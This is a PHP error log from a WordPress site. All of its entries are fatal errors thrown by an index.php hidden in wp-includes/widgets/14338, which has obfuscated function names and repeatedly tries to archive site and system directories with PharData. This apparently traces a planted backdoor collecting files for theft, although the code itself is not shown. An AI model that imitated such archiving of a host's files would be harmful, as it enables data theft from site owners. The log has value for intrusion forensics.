[06-Nov-2025 02:30:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/DB.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:30:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Redis.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:30:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/MySQL.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:30:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:31:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Psr16.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:32:49 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/usr/local/lsws/conf): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:08 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:09 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:11 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Cookie.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Transport.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:17 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Ssl.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Iri.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:33:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Utility.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:41:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:41:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:41:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:41:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:41:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:42:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:44:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_confused.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:44:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_arrow.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:46:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:47:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-html-token.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:49:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:49:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:49:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:51:58 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:53:21 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:53:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dashicons.woff.woff.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:53:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-sanitize.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:54:05 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:54:36 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:55:44 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:56:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/favicon.ico.ico.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:58:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/include.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:59:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_ra_rt_info_max_plen.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:59:44 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:05:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:05:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:05:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ea-php72.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:06:45 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:07:04 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:07:29 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803211841 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:31:06 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/fb" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:43:19 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/run/systemd/journal/dev-log.cagefs/dev-log" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:49:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/kernel.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 03:58:59 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803211841 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
